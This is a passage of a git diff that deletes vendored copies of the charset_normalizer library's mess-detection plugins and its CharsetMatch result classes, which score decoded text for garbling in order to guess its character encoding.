self.is_halfwidth_katakana = False - self.is_arabic = False - self.is_ligature = False - self.is_superscript = False - self.is_sentence_open_punctuation = False - self.is_glyph = False - # ASCII alpha: a-z (97-122) or A-Z (65-90) - if 65 <= o <= 90: - # Uppercase ASCII letter - self.alpha = True - self.upper = True - self.lower = False - self.space = False - self.digit = False - self.printable = True - self.case_variable = True - self.flags = _LATIN - self.latin = True - self.punct = False - self.sym = False - elif 97 <= o <= 122: - # Lowercase ASCII letter - self.alpha = True - self.upper = False - self.lower = True - self.space = False - self.digit = False - self.printable = True - self.case_variable = True - self.flags = _LATIN - self.latin = True - self.punct = False - self.sym = False - elif 48 <= o <= 57: - # ASCII digit 0-9 - self.alpha = False - self.upper = False - self.lower = False - self.space = False - self.digit = True - self.printable = True - self.case_variable = False - self.flags = 0 - self.latin = False - self.punct = False - self.sym = False - elif o == 32 or (9 <= o <= 13): - # Space, tab, newline, etc. - self.alpha = False - self.upper = False - self.lower = False - self.space = True - self.digit = False - self.printable = o == 32 - self.case_variable = False - self.flags = 0 - self.latin = False - self.punct = False - self.sym = False - else: - # Other ASCII (punctuation, symbols, control chars) - self.printable = character.isprintable() - self.alpha = False - self.upper = False - self.lower = False - self.space = False - self.digit = False - self.case_variable = False - self.flags = 0 - self.latin = False - self.punct = is_punctuation(character) if self.printable else False - self.sym = is_symbol(character) if self.printable else False - else: - # Non-ASCII path - self.is_ascii = False - self.safe = False - self.printable = character.isprintable() - self.alpha = character.isalpha() - self.upper = character.isupper() - self.lower = character.islower() - self.space = character.isspace() - self.digit = character.isdigit() - self.case_variable = self.lower != self.upper - - # Flag-based classification (single unicodedata.name() call, lru-cached) - flags: int = _character_flags(character) - if self.alpha: - self.emoticon = False - else: - self.emoticon = is_emoticon(character) - self.flags = flags - self.accentuated = bool(flags & _ACCENTUATED) - self.latin = bool(flags & _LATIN) - self.is_cjk = bool(flags & _CJK) - self.is_katakana = bool(flags & _KATAKANA) - self.is_halfwidth_katakana = bool(flags & _HALFWIDTH_KATAKANA) - self.is_arabic = bool(flags & _ARABIC) - self.is_ligature = bool(flags & _LIGATURE) - self.is_superscript = bool(flags & _SUPERSCRIPT) - self.is_sentence_open_punctuation = bool(flags & _SENTENCE_OPEN_PUNCTUATION) - self.is_glyph = bool(flags & _GLYPH_MASK) - - if self.latin and self.accentuated: - self.unaccented = remove_accent(character) - else: - self.unaccented = character - - self.common_cjk = self.is_cjk and character in COMMON_CJK_CHARACTERS - - # Eagerly compute punct and sym (avoids property dispatch overhead - # on 300K+ accesses in the hot loop). - if self.printable: - self.punct = is_punctuation(character) - self.sym = is_symbol(character) - else: - self.punct = False - self.sym = False - - self.range = unicode_range(character) - self.sep = is_separator(character) - - -# Per-codepoint cache of CharInfo instances -# At most UTF-8 size allocated. -@lru_cache(maxsize=None) -def _char_info(character: str) -> CharInfo: - """Build (once per codepoint) and cache the CharInfo for *character*.""" - return CharInfo(character) - - -# ASCII table indexed by codepoint. -_ASCII_CHAR_INFO: list[CharInfo] = [ - CharInfo(chr(_codepoint)) for _codepoint in range(128) -] - - -class MessDetectorPlugin: - """ - Base abstract class used for mess detection plugins. - All detectors MUST extend and implement given methods. - """ - - __slots__ = () - - def feed_info(self, character: str, info: CharInfo) -> None: - """ - The main routine to be executed upon character. - Insert the logic in witch the text would be considered chaotic. - """ - raise NotImplementedError # Defensive: - - def reset(self) -> None: # Defensive: - """ - Permit to reset the plugin to the initial state. - """ - raise NotImplementedError - - @property - def ratio(self) -> float: - """ - Compute the chaos ratio based on what your feed() has seen. - Must NOT be lower than 0.; No restriction gt 0. - """ - raise NotImplementedError # Defensive: - - -class TooManySymbolOrPunctuationPlugin(MessDetectorPlugin): - __slots__ = ( - "_punctuation_count", - "_symbol_count", - "_character_count", - "_last_printable_char", - ) - - def __init__(self) -> None: - self._punctuation_count: int = 0 - self._symbol_count: int = 0 - self._character_count: int = 0 - - self._last_printable_char: str | None = None - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - - if character != self._last_printable_char and not info.safe: - if info.punct: - self._punctuation_count += 1 - elif not info.digit and info.sym and not info.emoticon: - self._symbol_count += 2 - - self._last_printable_char = character - - def reset(self) -> None: # Abstract - self._punctuation_count = 0 - self._character_count = 0 - self._symbol_count = 0 - - @property - def ratio(self) -> float: - if self._character_count == 0: - return 0.0 - - ratio_of_punctuation: float = ( - self._punctuation_count + self._symbol_count - ) / self._character_count - - return ratio_of_punctuation if ratio_of_punctuation >= 0.3 else 0.0 - - -class TooManyAccentuatedPlugin(MessDetectorPlugin): - __slots__ = ("_character_count", "_accentuated_count") - - def __init__(self) -> None: - self._character_count: int = 0 - self._accentuated_count: int = 0 - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - - if info.accentuated: - self._accentuated_count += 1 - - def reset(self) -> None: # Abstract - self._character_count = 0 - self._accentuated_count = 0 - - @property - def ratio(self) -> float: - if self._character_count < 8: - return 0.0 - - ratio_of_accentuation: float = self._accentuated_count / self._character_count - return ratio_of_accentuation if ratio_of_accentuation >= 0.35 else 0.0 - - -class UnprintablePlugin(MessDetectorPlugin): - __slots__ = ("_unprintable_count", "_character_count", "_has_escape") - - def __init__(self) -> None: - self._unprintable_count: int = 0 - self._character_count: int = 0 - self._has_escape: bool = False - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - if character == "\x1b": - self._has_escape = True - - if ( - not info.printable - and not info.space - and character != "\x1a" - and character != "\ufeff" - ): - self._unprintable_count += 1 - self._character_count += 1 - - def reset(self) -> None: # Abstract - self._unprintable_count = 0 - self._has_escape = False - - @property - def ratio(self) -> float: - if self._character_count == 0: # Defensive: - return 0.0 - - if self._has_escape: - return 1.0 - - return (self._unprintable_count * 8) / self._character_count - - -class SuspiciousDuplicateAccentPlugin(MessDetectorPlugin): - __slots__ = ( - "_successive_count", - "_character_count", - "_last_latin_character", - "_last_was_accentuated", - ) - - def __init__(self) -> None: - self._successive_count: int = 0 - self._character_count: int = 0 - - self._last_latin_character: CharInfo | None = None - self._last_was_accentuated: bool = False - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - if ( - self._last_latin_character is not None - and info.accentuated - and self._last_was_accentuated - ): - if info.upper and self._last_latin_character.upper: - self._successive_count += 1 - if info.unaccented == self._last_latin_character.unaccented: - self._successive_count += 1 - self._last_latin_character = info - self._last_was_accentuated = info.accentuated - - def reset(self) -> None: # Abstract - self._successive_count = 0 - self._character_count = 0 - self._last_latin_character = None - self._last_was_accentuated = False - - @property - def ratio(self) -> float: - if self._character_count == 0: - return 0.0 - - return (self._successive_count * 2) / self._character_count - - -class SuspiciousRange(MessDetectorPlugin): - __slots__ = ( - "_suspicious_successive_range_count", - "_character_count", - "_last_printable_seen", - "_last_printable_range", - ) - - def __init__(self) -> None: - self._suspicious_successive_range_count: int = 0 - self._character_count: int = 0 - self._last_printable_seen: str | None = None - self._last_printable_range: str | None = None - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - - if info.space or info.punct or info.safe: - self._last_printable_seen = None - self._last_printable_range = None - return - - if self._last_printable_seen is None: - self._last_printable_seen = character - self._last_printable_range = info.range - return - - unicode_range_a: str | None = self._last_printable_range - unicode_range_b: str | None = info.range - - # Identical non-None ranges can never be suspicious. - if unicode_range_a != unicode_range_b or unicode_range_a is None: - if is_suspiciously_successive_range(unicode_range_a, unicode_range_b): - self._suspicious_successive_range_count += 1 - - self._last_printable_seen = character - self._last_printable_range = unicode_range_b - - def reset(self) -> None: # Abstract - self._character_count = 0 - self._suspicious_successive_range_count = 0 - self._last_printable_seen = None - self._last_printable_range = None - - @property - def ratio(self) -> float: - if self._character_count <= 13: - return 0.0 - - ratio_of_suspicious_range_usage: float = ( - self._suspicious_successive_range_count * 2 - ) / self._character_count - - return ratio_of_suspicious_range_usage - - -class SuperWeirdWordPlugin(MessDetectorPlugin): - __slots__ = ( - "_word_count", - "_bad_word_count", - "_foreign_long_count", - "_is_current_word_bad", - "_foreign_long_watch", - "_character_count", - "_bad_character_count", - "_buffer_length", - "_buffer_last_char", - "_buffer_last_char_accentuated", - "_buffer_accent_count", - "_buffer_glyph_count", - "_buffer_upper_count", - "_buffer_first_lower", - "_buffer_has_non_ascii", - "_buffer_last_char_ligature", - "_buffer_has_internal_ligature", - "_is_current_word_invalid", - "_invalid_word_count", - ) - - def __init__(self) -> None: - self._word_count: int = 0 - self._bad_word_count: int = 0 - self._foreign_long_count: int = 0 - - self._is_current_word_bad: bool = False - self._foreign_long_watch: bool = False - - self._character_count: int = 0 - self._bad_character_count: int = 0 - - self._buffer_length: int = 0 - self._buffer_last_char: str | None = None - self._buffer_last_char_accentuated: bool = False - self._buffer_accent_count: int = 0 - self._buffer_glyph_count: int = 0 - self._buffer_upper_count: int = 0 - self._buffer_first_lower: bool = False - self._buffer_has_non_ascii: bool = False - self._buffer_last_char_ligature: bool = False - self._buffer_has_internal_ligature: bool = False - self._is_current_word_invalid: bool = False - self._invalid_word_count: int = 0 - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - if info.alpha: - if self._buffer_last_char_ligature: - self._buffer_has_internal_ligature = True - self._buffer_last_char_ligature = info.is_ligature - if self._buffer_length == 0: - self._buffer_first_lower = info.lower - self._buffer_length += 1 - self._buffer_last_char = character - - if info.upper: - self._buffer_upper_count += 1 - if not info.is_ascii: - self._buffer_has_non_ascii = True - - self._buffer_last_char_accentuated = info.accentuated - - if info.accentuated: - self._buffer_accent_count += 1 - if info.is_glyph: - self._buffer_glyph_count += 1 - elif not self._foreign_long_watch and (not info.latin or info.accentuated): - self._foreign_long_watch = True - return - if not self._buffer_length: - return - if info.is_sentence_open_punctuation or ( - info.is_superscript and self._buffer_has_internal_ligature - ): - self._is_current_word_bad = True - self._is_current_word_invalid = True - if info.space or info.punct or info.sep: - self._word_count += 1 - buffer_length: int = self._buffer_length - - self._character_count += buffer_length - - if buffer_length >= 4: - if self._buffer_accent_count / buffer_length >= 0.5: - self._is_current_word_bad = True - elif ( - self._buffer_last_char_accentuated - and self._buffer_last_char.isupper() # type: ignore[union-attr] - and self._buffer_upper_count != buffer_length - ): - self._foreign_long_count += 1 - self._is_current_word_bad = True - elif self._buffer_glyph_count == 1: - self._is_current_word_bad = True - self._foreign_long_count += 1 - elif ( - self._buffer_has_non_ascii - and self._buffer_first_lower - and self._buffer_upper_count == buffer_length - 1 - ): - # Inverse capitalization detector. - # No natural writing produces such words. - # see https://github.com/jawah/charset_normalizer/issues/731 - self._foreign_long_count += 1 - self._is_current_word_bad = True - if buffer_length >= 24 and self._foreign_long_watch: - probable_camel_cased: bool = ( - self._buffer_upper_count > 0 - and self._buffer_upper_count / buffer_length <= 0.3 - ) - - if not probable_camel_cased: - self._foreign_long_count += 1 - self._is_current_word_bad = True - - if self._is_current_word_bad: - self._bad_word_count += 1 - self._bad_character_count += buffer_length - self._is_current_word_bad = False - if self._is_current_word_invalid: - self._invalid_word_count += 1 - self._is_current_word_invalid = False - - self._foreign_long_watch = False - self._buffer_length = 0 - self._buffer_last_char = None - self._buffer_last_char_accentuated = False - self._buffer_accent_count = 0 - self._buffer_glyph_count = 0 - self._buffer_upper_count = 0 - self._buffer_first_lower = False - self._buffer_has_non_ascii = False - self._buffer_last_char_ligature = False - self._buffer_has_internal_ligature = False - elif ( - character not in {"<", ">", "-", "=", "~", "|", "_"} - and not info.digit - and info.sym - ): - self._is_current_word_bad = True - self._buffer_length += 1 - self._buffer_last_char = character - self._buffer_last_char_accentuated = False - - def reset(self) -> None: # Abstract - self._buffer_length = 0 - self._buffer_last_char = None - self._buffer_last_char_accentuated = False - self._is_current_word_bad = False - self._foreign_long_watch = False - self._bad_word_count = 0 - self._word_count = 0 - self._character_count = 0 - self._bad_character_count = 0 - self._foreign_long_count = 0 - self._buffer_accent_count = 0 - self._buffer_glyph_count = 0 - self._buffer_upper_count = 0 - self._buffer_first_lower = False - self._buffer_has_non_ascii = False - self._buffer_last_char_ligature = False - self._buffer_has_internal_ligature = False - self._is_current_word_invalid = False - self._invalid_word_count = 0 - - @property - def ratio(self) -> float: - if self._invalid_word_count: - return 1.0 - - if self._word_count <= 10 and self._foreign_long_count == 0: - return 0.0 - - return self._bad_character_count / self._character_count - - -class CjkUncommonPlugin(MessDetectorPlugin): - """ - Detect messy CJK text that probably means nothing. - """ - - __slots__ = ("_character_count", "_uncommon_count") - - def __init__(self) -> None: - self._character_count: int = 0 - self._uncommon_count: int = 0 - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - - if not info.common_cjk: - self._uncommon_count += 1 - - def reset(self) -> None: # Abstract - self._character_count = 0 - self._uncommon_count = 0 - - @property - def ratio(self) -> float: - if self._character_count < 4: - return 0.0 - - uncommon_form_usage: float = self._uncommon_count / self._character_count - - # we can be pretty sure it's garbage when uncommon characters are widely - # used. otherwise it could just be traditional chinese for example. - return uncommon_form_usage / 5 if uncommon_form_usage > 0.5 else 0.0 - - -class SuspiciousKatakanaPlugin(MessDetectorPlugin): - """Detect implausible halfwidth Katakana and uncommon CJK combinations.""" - - __slots__ = ( - "_katakana_count", - "_halfwidth_katakana_count", - "_cjk_count", - "_uncommon_cjk_count", - ) - - def __init__(self) -> None: - self._katakana_count: int = 0 - self._halfwidth_katakana_count: int = 0 - self._cjk_count: int = 0 - self._uncommon_cjk_count: int = 0 - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - if info.is_katakana: - self._katakana_count += 1 - if info.is_halfwidth_katakana: - self._halfwidth_katakana_count += 1 - return - - self._cjk_count += 1 - if not info.common_cjk: - self._uncommon_cjk_count += 1 - - def reset(self) -> None: # Abstract - self._katakana_count = 0 - self._halfwidth_katakana_count = 0 - self._cjk_count = 0 - self._uncommon_cjk_count = 0 - - @property - def ratio(self) -> float: - if ( - self._halfwidth_katakana_count >= 4 - and self._halfwidth_katakana_count == self._katakana_count - and 3 <= self._cjk_count == self._uncommon_cjk_count - ): - return 1.0 - - return 0.0 - - -class ArchaicUpperLowerPlugin(MessDetectorPlugin): - __slots__ = ( - "_buf", - "_character_count_since_last_sep", - "_successive_upper_lower_count", - "_successive_upper_lower_count_final", - "_character_count", - "_last_alpha_seen_upper", - "_last_alpha_seen_lower", - "_current_ascii_only", - ) - - def __init__(self) -> None: - self._buf: bool = False - - self._character_count_since_last_sep: int = 0 - - self._successive_upper_lower_count: int = 0 - self._successive_upper_lower_count_final: int = 0 - - self._character_count: int = 0 - - self._last_alpha_seen_upper: bool = False - self._last_alpha_seen_lower: bool = False - self._current_ascii_only: bool = True - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - is_concerned: bool = info.alpha and info.case_variable - chunk_sep: bool = not is_concerned - - if chunk_sep and self._character_count_since_last_sep > 0: - if ( - self._character_count_since_last_sep <= 64 - and not info.digit - and not self._current_ascii_only - ): - self._successive_upper_lower_count_final += ( - self._successive_upper_lower_count - ) - - self._successive_upper_lower_count = 0 - self._character_count_since_last_sep = 0 - self._buf = False - self._character_count += 1 - self._current_ascii_only = True - - return - - if self._current_ascii_only and not info.is_ascii: - self._current_ascii_only = False - - if self._character_count_since_last_sep > 0: - if (info.upper and self._last_alpha_seen_lower) or ( - info.lower and self._last_alpha_seen_upper - ): - if self._buf: - self._successive_upper_lower_count += 2 - self._buf = False - else: - self._buf = True - else: - self._buf = False - - self._character_count += 1 - self._character_count_since_last_sep += 1 - self._last_alpha_seen_upper = info.upper - self._last_alpha_seen_lower = info.lower - - def reset(self) -> None: # Abstract - self._character_count = 0 - self._character_count_since_last_sep = 0 - self._successive_upper_lower_count = 0 - self._successive_upper_lower_count_final = 0 - self._last_alpha_seen_upper = False - self._last_alpha_seen_lower = False - self._buf = False - self._current_ascii_only = True - - @property - def ratio(self) -> float: - if self._character_count == 0: # Defensive: - return 0.0 - - return self._successive_upper_lower_count_final / self._character_count - - -class ArabicIsolatedFormPlugin(MessDetectorPlugin): - __slots__ = ("_character_count", "_isolated_form_count") - - def __init__(self) -> None: - self._character_count: int = 0 - self._isolated_form_count: int = 0 - - def reset(self) -> None: # Abstract - self._character_count = 0 - self._isolated_form_count = 0 - - def feed_info(self, character: str, info: CharInfo) -> None: - """Optimized feed using pre-computed character info.""" - self._character_count += 1 - - if info.flags & _ARABIC_ISOLATED_FORM: - self._isolated_form_count += 1 - - @property - def ratio(self) -> float: - if self._character_count < 8: - return 0.0 - - isolated_form_usage: float = self._isolated_form_count / self._character_count - - return isolated_form_usage - - -@lru_cache(maxsize=None) -def is_suspiciously_successive_range( - unicode_range_a: str | None, unicode_range_b: str | None -) -> bool: - """ - Determine if two Unicode ranges seen next to each other can be considered suspicious. - """ - if unicode_range_a is None or unicode_range_b is None: - return True - - familly_a: str = _RANGE_FAMILIES[unicode_range_a] - familly_b: str = _RANGE_FAMILIES[unicode_range_b] - - if familly_a == familly_b: - return False - - if ( - familly_a in _COMPATIBLE_WITH_ANY_RANGE_FAMILIES - or familly_b in _COMPATIBLE_WITH_ANY_RANGE_FAMILIES - ): - return False - - if CompatibleFamillyRange(familly_a, familly_b) in _COMPATIBLE_RANGE_FAMILIES: - return False - - # Basic Latin is commonly interspersed with East Asian scripts, but the - # compatibility must not extend to every range in the Latin family. - if unicode_range_a == "Basic Latin": - return familly_b not in _BASIC_LATIN_COMPATIBLE_RANGE_FAMILIES - - if unicode_range_b == "Basic Latin": - return familly_a not in _BASIC_LATIN_COMPATIBLE_RANGE_FAMILIES - - return True - - -def mess_ratio( - decoded_sequence: str, maximum_threshold: float = 0.2, debug: bool = False -) -> float: - """ - Compute a mess ratio given a decoded bytes sequence. The maximum threshold does stop the computation earlier. - """ - - seq_len: int = len(decoded_sequence) - - if seq_len < 511: - step: int = 32 - elif seq_len < 1024: - step = 64 - else: - step = 128 - - # str.isascii() is O(1) (the flag lives in the str header). Seven of the - # ten detectors provably keep a 0.0 ratio on ASCII-only input and are - # therefore not fed at all. - is_pure_ascii: bool = decoded_sequence.isascii() - - # Cached per-codepoint character properties (see CharInfo). ASCII - # characters resolve through the immutable import-time table; anything - # else goes through the lru_cache-backed slow path. - ascii_info = _ASCII_CHAR_INFO - char_info = _char_info - - mean_mess_ratio: float - info: CharInfo - - # Create each detector as a named local variable (unrolled from the generic loop). - # This eliminates per-character iteration over the detector list and - # per-character eligible() virtual dispatch, while keeping every plugin class - # intact and fully readable. - d_sp: TooManySymbolOrPunctuationPlugin = TooManySymbolOrPunctuationPlugin() - d_ta: TooManyAccentuatedPlugin = TooManyAccentuatedPlugin() - d_up: UnprintablePlugin = UnprintablePlugin() - d_sda: SuspiciousDuplicateAccentPlugin = SuspiciousDuplicateAccentPlugin() - d_sr: SuspiciousRange = SuspiciousRange() - d_sw: SuperWeirdWordPlugin = SuperWeirdWordPlugin() - d_cu: CjkUncommonPlugin = CjkUncommonPlugin() - d_sk: SuspiciousKatakanaPlugin = SuspiciousKatakanaPlugin() - d_au: ArchaicUpperLowerPlugin = ArchaicUpperLowerPlugin() - d_ai: ArabicIsolatedFormPlugin = ArabicIsolatedFormPlugin() - - # Local references avoid repeated bound-method creation in the hot loop. - d_sp_feed = d_sp.feed_info - d_ta_feed = d_ta.feed_info - d_up_feed = d_up.feed_info - d_sda_feed = d_sda.feed_info - d_sr_feed = d_sr.feed_info - d_sw_feed = d_sw.feed_info - d_cu_feed = d_cu.feed_info - d_sk_feed = d_sk.feed_info - d_au_feed = d_au.feed_info - d_ai_feed = d_ai.feed_info - - for block_start in range(0, seq_len, step): - for character in decoded_sequence[block_start : block_start + step]: - # Character properties computed once per distinct codepoint - # (shared across all plugins and all mess_ratio calls). - # ord() doubles as the ASCII table index. - codepoint: int = ord(character) - if codepoint < 128: - info = ascii_info[codepoint] - else: - info = char_info(character) - - # Detectors with eligible() == always True - d_up_feed(character, info) - d_sw_feed(character, info) - - if is_pure_ascii: - # The seven remaining detectors provably stay at 0.0 (see above). - if info.printable: - d_sp_feed(character, info) - continue - - d_au_feed(character, info) - - # Detectors with eligible() == isprintable - if info.printable: - d_sp_feed(character, info) - d_sr_feed(character, info) - - # Detectors with eligible() == isalpha - if info.alpha: - d_ta_feed(character, info) - # SuspiciousDuplicateAccent: isalpha() and is_latin() - if info.latin: - d_sda_feed(character, info) - # CjkUncommon and SuspiciousKatakana: is_cjk() - if info.is_cjk: - d_cu_feed(character, info) - d_sk_feed(character, info) - elif info.is_katakana: - d_sk_feed(character, info) - # ArabicIsolatedForm: is_arabic() - if info.is_arabic: - d_ai_feed(character, info) - - mean_mess_ratio = ( - d_sp.ratio - + d_ta.ratio - + d_up.ratio - + d_sda.ratio - + d_sr.ratio - + d_sw.ratio - + d_cu.ratio - + d_sk.ratio - + d_au.ratio - + d_ai.ratio - ) - - if mean_mess_ratio >= maximum_threshold: - break - else: - # Flush last word buffer in SuperWeirdWordPlugin via trailing newline. - nl_info = ascii_info[10] # "\n" - d_sw_feed("\n", nl_info) - if not is_pure_ascii: - d_au_feed("\n", nl_info) - d_up_feed("\n", nl_info) - - mean_mess_ratio = ( - d_sp.ratio - + d_ta.ratio - + d_up.ratio - + d_sda.ratio - + d_sr.ratio - + d_sw.ratio - + d_cu.ratio - + d_sk.ratio - + d_au.ratio - + d_ai.ratio - ) - - if debug: # Defensive: - logger = getLogger("charset_normalizer") - - logger.log( - TRACE, - "Mess-detector extended-analysis start. " - f"intermediary_mean_mess_ratio_calc={step} mean_mess_ratio={mean_mess_ratio} " - f"maximum_threshold={maximum_threshold}", - ) - - if seq_len > 16: - logger.log(TRACE, f"Starting with: {decoded_sequence[:16]}") - logger.log(TRACE, f"Ending with: {decoded_sequence[-16::]}") - - for dt in [d_sp, d_ta, d_up, d_sda, d_sr, d_sw, d_cu, d_sk, d_au, d_ai]: - logger.log(TRACE, f"{dt.__class__}: {dt.ratio}") - - return round(mean_mess_ratio, 3) diff --git a/venv/Lib/site-packages/charset_normalizer/models.py b/venv/Lib/site-packages/charset_normalizer/models.py deleted file mode 100644 index 019b2b21970095f8703676aa9aeb1765f27e7ffa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/models.py +++ /dev/null @@ -1,387 +0,0 @@ -from __future__ import annotations - -from encodings.aliases import aliases -from re import sub -from typing import Any, Iterator, List, Tuple - -from .constant import RE_POSSIBLE_ENCODING_INDICATION, TOO_BIG_SEQUENCE -from .utils import iana_name, is_multi_byte_encoding, unicode_range - - -class CharsetMatch: - def __init__( - self, - payload: bytes | bytearray, - guessed_encoding: str, - mean_mess_ratio: float, - has_sig_or_bom: bool, - languages: CoherenceMatches, - decoded_payload: str | None = None, - preemptive_declaration: str | None = None, - ): - self._payload: bytes | bytearray = payload - - self._encoding: str = guessed_encoding - self._mean_mess_ratio: float = mean_mess_ratio - self._languages: CoherenceMatches = languages - self._has_sig_or_bom: bool = has_sig_or_bom - self._unicode_ranges: list[str] | None = None - - self._leaves: list[CharsetMatch] = [] - self._mean_coherence_ratio: float = 0.0 - - self._output_payload: bytes | None = None - self._output_encoding: str | None = None - - self._string: str | None = decoded_payload - - self._preemptive_declaration: str | None = preemptive_declaration - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CharsetMatch): - if isinstance(other, str): - # Use non-strict iana_name so an operand that is not a known - # encoding alias compares unequal instead of raising, keeping - # __eq__ total as the data model requires (mirrors the lookup - # in CharsetMatches.__getitem__). - return iana_name(other, False) == self.encoding - return False - return self.encoding == other.encoding and self.fingerprint == other.fingerprint - - def __lt__(self, other: object) -> bool: - """ - Implemented to make sorted available upon CharsetMatches items. - """ - if not isinstance(other, CharsetMatch): - raise ValueError - - chaos_difference: float = abs(self.chaos - other.chaos) - coherence_difference: float = abs(self.coherence - other.coherence) - - # Below 0.5% difference --> Use Coherence - if chaos_difference < 0.005 and coherence_difference > 0.02: - return self.coherence > other.coherence - elif chaos_difference < 0.005 and coherence_difference <= 0.02: - # When having a difficult decision, use the result that decoded as many multi-byte as possible. - # preserve RAM usage! - if len(self._payload) >= TOO_BIG_SEQUENCE: - return self.chaos < other.chaos - return self.multi_byte_usage > other.multi_byte_usage - - return self.chaos < other.chaos - - @property - def multi_byte_usage(self) -> float: - # Empty payloads are valid (from_bytes(b"") returns a match); avoid /0. - raw_len = len(self.raw) - if raw_len == 0: - return 0.0 - return 1.0 - (len(str(self)) / raw_len) - - def __str__(self) -> str: - # Lazy Str Loading - if self._string is None: - self._string = str(self._payload, self._encoding, "strict") - # UTF-7 BOM is encoded in modified Base64 whose byte boundary - # can overlap with the next character, so raw-byte stripping - # is unreliable. Strip the decoded BOM character instead. - if ( - self._has_sig_or_bom - and self._encoding == "utf_7" - and self._string - and self._string[0] == "\ufeff" - ): - self._string = self._string[1:] - return self._string - - def __repr__(self) -> str: - return f"" - - def add_submatch(self, other: CharsetMatch) -> None: - if not isinstance(other, CharsetMatch) or other == self: - raise ValueError( - "Unable to add instance <{}> as a submatch of a CharsetMatch".format( - other.__class__ - ) - ) - - other._string = None # Unload RAM usage; dirty trick. - self._leaves.append(other) - - @property - def encoding(self) -> str: - return self._encoding - - @property - def encoding_aliases(self) -> list[str]: - """ - Encoding name are known by many name, using this could help when searching for IBM855 when it's listed as CP855. - """ - also_known_as: list[str] = [] - for u, p in aliases.items(): - if self.encoding == u: - also_known_as.append(p) - elif self.encoding == p: - also_known_as.append(u) - return also_known_as - - @property - def bom(self) -> bool: - return self._has_sig_or_bom - - @property - def byte_order_mark(self) -> bool: - return self._has_sig_or_bom - - @property - def languages(self) -> list[str]: - """ - Return the complete list of possible languages found in decoded sequence. - Usually not really useful. Returned list may be empty even if 'language' property return something != 'Unknown'. - """ - return [e[0] for e in self._languages] - - @property - def language(self) -> str: - """ - Most probable language found in decoded sequence. If none were detected or inferred, the property will return - "Unknown". - """ - if not self._languages: - # Trying to infer the language based on the given encoding - # Its either English or we should not pronounce ourselves in certain cases. - if "ascii" in self.could_be_from_charset: - return "English" - - # doing it there to avoid circular import - from charset_normalizer.cd import encoding_languages, mb_encoding_languages - - languages = ( - mb_encoding_languages(self.encoding) - if is_multi_byte_encoding(self.encoding) - else encoding_languages(self.encoding) - ) - - if len(languages) == 0 or "Latin Based" in languages: - return "Unknown" - - return languages[0] - - return self._languages[0][0] - - @property - def chaos(self) -> float: - return self._mean_mess_ratio - - @property - def coherence(self) -> float: - if not self._languages: - return 0.0 - return self._languages[0][1] - - @property - def percent_chaos(self) -> float: - return round(self.chaos * 100, ndigits=3) - - @property - def percent_coherence(self) -> float: - return round(self.coherence * 100, ndigits=3) - - @property - def raw(self) -> bytes | bytearray: - """ - Original untouched bytes. - """ - return self._payload - - @property - def submatch(self) -> list[CharsetMatch]: - return self._leaves - - @property - def has_submatch(self) -> bool: - return len(self._leaves) > 0 - - @property - def alphabets(self) -> list[str]: - if self._unicode_ranges is not None: - return self._unicode_ranges - # list detected ranges - detected_ranges: list[str | None] = [unicode_range(char) for char in str(self)] - # filter and sort - self._unicode_ranges = sorted(list({r for r in detected_ranges if r})) - return self._unicode_ranges - - @property - def could_be_from_charset(self) -> list[str]: - """ - The complete list of encoding that output the exact SAME str result and therefore could be the originating - encoding. - This list does include the encoding available in property 'encoding'. - """ - return [self._encoding] + [m.encoding for m in self._leaves] - - def output(self, encoding: str = "utf_8") -> bytes: - """ - Method to get re-encoded bytes payload using given target encoding. Default to UTF-8. - Any errors will be simply ignored by the encoder NOT replaced. - """ - if self._output_encoding is None or self._output_encoding != encoding: - self._output_encoding = encoding - decoded_string = str(self) - if ( - self._preemptive_declaration is not None - and self._preemptive_declaration.lower() - not in ["utf-8", "utf8", "utf_8"] - ): - patched_header = sub( - RE_POSSIBLE_ENCODING_INDICATION, - lambda m: m.string[m.span()[0] : m.span()[1]].replace( - m.groups()[0], - iana_name(self._output_encoding).replace("_", "-"), # type: ignore[arg-type] - ), - decoded_string[:8192], - count=1, - ) - - decoded_string = patched_header + decoded_string[8192:] - - self._output_payload = decoded_string.encode(encoding, "replace") - - return self._output_payload # type: ignore - - @property - def fingerprint(self) -> int: - """ - Retrieve a hash fingerprint of the decoded payload, used for deduplication. - """ - return hash(str(self)) - - -class CharsetMatches: - """ - Container with every CharsetMatch items ordered by default from most probable to the less one. - Act like a list(iterable) but does not implements all related methods. - """ - - def __init__(self, results: list[CharsetMatch] | None = None): - self._results: list[CharsetMatch] = sorted(results) if results else [] - self._is_sorted: bool = True - - def _ensure_sorted(self) -> None: - if not self._is_sorted: - self._results.sort() - self._is_sorted = True - - def __iter__(self) -> Iterator[CharsetMatch]: - self._ensure_sorted() - yield from self._results - - def __getitem__(self, item: int | str) -> CharsetMatch: - """ - Retrieve a single item either by its position or encoding name (alias may be used here). - Raise KeyError upon invalid index or encoding not present in results. - """ - if isinstance(item, int): - self._ensure_sorted() - return self._results[item] - if isinstance(item, str): - item = iana_name(item, False) - for result in self._results: - if item in result.could_be_from_charset: - return result - raise KeyError - - def __len__(self) -> int: - return len(self._results) - - def __bool__(self) -> bool: - return len(self._results) > 0 - - def append(self, item: CharsetMatch) -> None: - """ - Insert a single match. Will be inserted accordingly to preserve sort. - Can be inserted as a submatch. - """ - if not isinstance(item, CharsetMatch): - raise ValueError( - "Cannot append instance '{}' to CharsetMatches".format( - str(item.__class__) - ) - ) - # We should disable the submatch factoring when the input file is too heavy (conserve RAM usage) - if len(item.raw) < TOO_BIG_SEQUENCE: - for match in self._results: - if match.fingerprint == item.fingerprint and match.chaos == item.chaos: - match.add_submatch(item) - return - self._results.append(item) - self._is_sorted = False - - def best(self) -> 